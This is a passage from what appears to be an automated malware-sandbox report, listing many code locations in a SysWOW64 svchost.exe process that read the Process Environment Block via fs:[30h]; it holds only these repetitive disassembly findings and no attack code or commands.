            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2A197 mov eax, dword ptr fs:[00000030h]1_2_03C2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]1_2_03CC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]1_2_03CC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC4144 mov ecx, dword ptr fs:[00000030h]1_2_03CC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]1_2_03CC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]1_2_03CC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2C156 mov eax, dword ptr fs:[00000030h]1_2_03C2C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC8158 mov eax, dword ptr fs:[00000030h]1_2_03CC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36154 mov eax, dword ptr fs:[00000030h]1_2_03C36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36154 mov eax, dword ptr fs:[00000030h]1_2_03C36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04164 mov eax, dword ptr fs:[00000030h]1_2_03D04164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04164 mov eax, dword ptr fs:[00000030h]1_2_03D04164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]1_2_03CDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDA118 mov ecx, dword ptr fs:[00000030h]1_2_03CDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDA118 mov eax, dword ptr fs:[00000030h]1_2_03CDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDA118 mov eax, dword ptr fs:[00000030h]1_2_03CDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDA118 mov eax, dword ptr fs:[00000030h]1_2_03CDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF0115 mov eax, dword ptr fs:[00000030h]1_2_03CF0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C60124 mov eax, dword ptr fs:[00000030h]1_2_03C60124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB20DE mov eax, dword ptr fs:[00000030h]1_2_03CB20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2A0E3 mov ecx, dword ptr fs:[00000030h]1_2_03C2A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C380E9 mov eax, dword ptr fs:[00000030h]1_2_03C380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB60E0 mov eax, dword ptr fs:[00000030h]1_2_03CB60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2C0F0 mov eax, dword ptr fs:[00000030h]1_2_03C2C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C720F0 mov ecx, dword ptr fs:[00000030h]1_2_03C720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3208A mov eax, dword ptr fs:[00000030h]1_2_03C3208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C280A0 mov eax, dword ptr fs:[00000030h]1_2_03C280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC80A8 mov eax, dword ptr fs:[00000030h]1_2_03CC80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF60B8 mov eax, dword ptr fs:[00000030h]1_2_03CF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF60B8 mov ecx, dword ptr fs:[00000030h]1_2_03CF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C32050 mov eax, dword ptr fs:[00000030h]1_2_03C32050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6050 mov eax, dword ptr fs:[00000030h]1_2_03CB6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5C073 mov eax, dword ptr fs:[00000030h]1_2_03C5C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB4000 mov ecx, dword ptr fs:[00000030h]1_2_03CB4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]1_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]1_2_03C4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]1_2_03C4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]1_2_03C4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]1_2_03C4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2A020 mov eax, dword ptr fs:[00000030h]1_2_03C2A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2C020 mov eax, dword ptr fs:[00000030h]1_2_03C2C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC6030 mov eax, dword ptr fs:[00000030h]1_2_03CC6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3C7C0 mov eax, dword ptr fs:[00000030h]1_2_03C3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB07C3 mov eax, dword ptr fs:[00000030h]1_2_03CB07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C527ED mov eax, dword ptr fs:[00000030h]1_2_03C527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C527ED mov eax, dword ptr fs:[00000030h]1_2_03C527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C527ED mov eax, dword ptr fs:[00000030h]1_2_03C527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBE7E1 mov eax, dword ptr fs:[00000030h]1_2_03CBE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C347FB mov eax, dword ptr fs:[00000030h]1_2_03C347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C347FB mov eax, dword ptr fs:[00000030h]1_2_03C347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD678E mov eax, dword ptr fs:[00000030h]1_2_03CD678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C307AF mov eax, dword ptr fs:[00000030h]1_2_03C307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE47A0 mov eax, dword ptr fs:[00000030h]1_2_03CE47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6674D mov esi, dword ptr fs:[00000030h]1_2_03C6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6674D mov eax, dword ptr fs:[00000030h]1_2_03C6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6674D mov eax, dword ptr fs:[00000030h]1_2_03C6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30750 mov eax, dword ptr fs:[00000030h]1_2_03C30750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBE75D mov eax, dword ptr fs:[00000030h]1_2_03CBE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72750 mov eax, dword ptr fs:[00000030h]1_2_03C72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72750 mov eax, dword ptr fs:[00000030h]1_2_03C72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB4755 mov eax, dword ptr fs:[00000030h]1_2_03CB4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38770 mov eax, dword ptr fs:[00000030h]1_2_03C38770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]1_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C700 mov eax, dword ptr fs:[00000030h]1_2_03C6C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30710 mov eax, dword ptr fs:[00000030h]1_2_03C30710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C60710 mov eax, dword ptr fs:[00000030h]1_2_03C60710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C720 mov eax, dword ptr fs:[00000030h]1_2_03C6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C720 mov eax, dword ptr fs:[00000030h]1_2_03C6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6273C mov eax, dword ptr fs:[00000030h]1_2_03C6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6273C mov ecx, dword ptr fs:[00000030h]1_2_03C6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6273C mov eax, dword ptr fs:[00000030h]1_2_03C6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAC730 mov eax, dword ptr fs:[00000030h]1_2_03CAC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A6C7 mov ebx, dword ptr fs:[00000030h]1_2_03C6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A6C7 mov eax, dword ptr fs:[00000030h]1_2_03C6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]1_2_03CAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]1_2_03CAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]1_2_03CAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]1_2_03CAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB06F1 mov eax, dword ptr fs:[00000030h]1_2_03CB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB06F1 mov eax, dword ptr fs:[00000030h]1_2_03CB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C34690 mov eax, dword ptr fs:[00000030h]1_2_03C34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C34690 mov eax, dword ptr fs:[00000030h]1_2_03C34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C6A6 mov eax, dword ptr fs:[00000030h]1_2_03C6C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C666B0 mov eax, dword ptr fs:[00000030h]1_2_03C666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4C640 mov eax, dword ptr fs:[00000030h]1_2_03C4C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF866E mov eax, dword ptr fs:[00000030h]1_2_03CF866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF866E mov eax, dword ptr fs:[00000030h]1_2_03CF866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A660 mov eax, dword ptr fs:[00000030h]1_2_03C6A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A660 mov eax, dword ptr fs:[00000030h]1_2_03C6A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C62674 mov eax, dword ptr fs:[00000030h]1_2_03C62674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE609 mov eax, dword ptr fs:[00000030h]1_2_03CAE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]1_2_03C4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]1_2_03C4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]1_2_03C4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]1_2_03C4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]1_2_03C4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]1_2_03C4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]1_2_03C4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72619 mov eax, dword ptr fs:[00000030h]1_2_03C72619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E627 mov eax, dword ptr fs:[00000030h]1_2_03C4E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C66620 mov eax, dword ptr fs:[00000030h]1_2_03C66620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C68620 mov eax, dword ptr fs:[00000030h]1_2_03C68620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3262C mov eax, dword ptr fs:[00000030h]1_2_03C3262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E5CF mov eax, dword ptr fs:[00000030h]1_2_03C6E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E5CF mov eax, dword ptr fs:[00000030h]1_2_03C6E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C365D0 mov eax, dword ptr fs:[00000030h]1_2_03C365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]1_2_03C6A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]1_2_03C6A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]1_2_03C5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C325E0 mov eax, dword ptr fs:[00000030h]1_2_03C325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C5ED mov eax, dword ptr fs:[00000030h]1_2_03C6C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C5ED mov eax, dword ptr fs:[00000030h]1_2_03C6C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C32582 mov eax, dword ptr fs:[00000030h]1_2_03C32582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C32582 mov ecx, dword ptr fs:[00000030h]1_2_03C32582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C64588 mov eax, dword ptr fs:[00000030h]1_2_03C64588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E59C mov eax, dword ptr fs:[00000030h]1_2_03C6E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB05A7 mov eax, dword ptr fs:[00000030h]1_2_03CB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB05A7 mov eax, dword ptr fs:[00000030h]1_2_03CB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB05A7 mov eax, dword ptr fs:[00000030h]1_2_03CB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C545B1 mov eax, dword ptr fs:[00000030h]1_2_03C545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C545B1 mov eax, dword ptr fs:[00000030h]1_2_03C545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38550 mov eax, dword ptr fs:[00000030h]1_2_03C38550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38550 mov eax, dword ptr fs:[00000030h]1_2_03C38550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6656A mov eax, dword ptr fs:[00000030h]1_2_03C6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6656A mov eax, dword ptr fs:[00000030h]1_2_03C6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6656A mov eax, dword ptr fs:[00000030h]1_2_03C6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC6500 mov eax, dword ptr fs:[00000030h]1_2_03CC6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]1_2_03D04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]1_2_03D04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]1_2_03D04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]1_2_03D04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]1_2_03D04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]1_2_03D04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]1_2_03D04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]1_2_03C40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]1_2_03C40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]1_2_03C40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]1_2_03C40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]1_2_03C40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]1_2_03C40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]1_2_03C5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]1_2_03C5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]1_2_03C5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]1_2_03C5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]1_2_03C5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C304E5 mov ecx, dword ptr fs:[00000030h]1_2_03C304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEA49A mov eax, dword ptr fs:[00000030h]1_2_03CEA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C364AB mov eax, dword ptr fs:[00000030h]1_2_03C364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C644B0 mov ecx, dword ptr fs:[00000030h]1_2_03C644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBA4B0 mov eax, dword ptr fs:[00000030h]1_2_03CBA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]1_2_03C6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEA456 mov eax, dword ptr fs:[00000030h]1_2_03CEA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2645D mov eax, dword ptr fs:[00000030h]1_2_03C2645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5245A mov eax, dword ptr fs:[00000030h]1_2_03C5245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBC460 mov ecx, dword ptr fs:[00000030h]1_2_03CBC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5A470 mov eax, dword ptr fs:[00000030h]1_2_03C5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5A470 mov eax, dword ptr fs:[00000030h]1_2_03C5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5A470 mov eax, dword ptr fs:[00000030h]1_2_03C5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C68402 mov eax, dword ptr fs:[00000030h]1_2_03C68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C68402 mov eax, dword ptr fs:[00000030h]1_2_03C68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C68402 mov eax, dword ptr fs:[00000030h]1_2_03C68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2E420 mov eax, dword ptr fs:[00000030h]1_2_03C2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2E420 mov eax, dword ptr fs:[00000030h]1_2_03C2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2E420 mov eax, dword ptr fs:[00000030h]1_2_03C2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2C427 mov eax, dword ptr fs:[00000030h]1_2_03C2C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]1_2_03CB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]1_2_03CB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]1_2_03CB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]1_2_03CB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]1_2_03CB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]1_2_03CB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]1_2_03CB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C50BCB mov eax, dword ptr fs:[00000030h]1_2_03C50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C50BCB mov eax, dword ptr fs:[00000030h]1_2_03C50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C50BCB mov eax, dword ptr fs:[00000030h]1_2_03C50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30BCD mov eax, dword ptr fs:[00000030h]1_2_03C30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30BCD mov eax, dword ptr fs:[00000030h]1_2_03C30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30BCD mov eax, dword ptr fs:[00000030h]1_2_03C30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDEBD0 mov eax, dword ptr fs:[00000030h]1_2_03CDEBD0
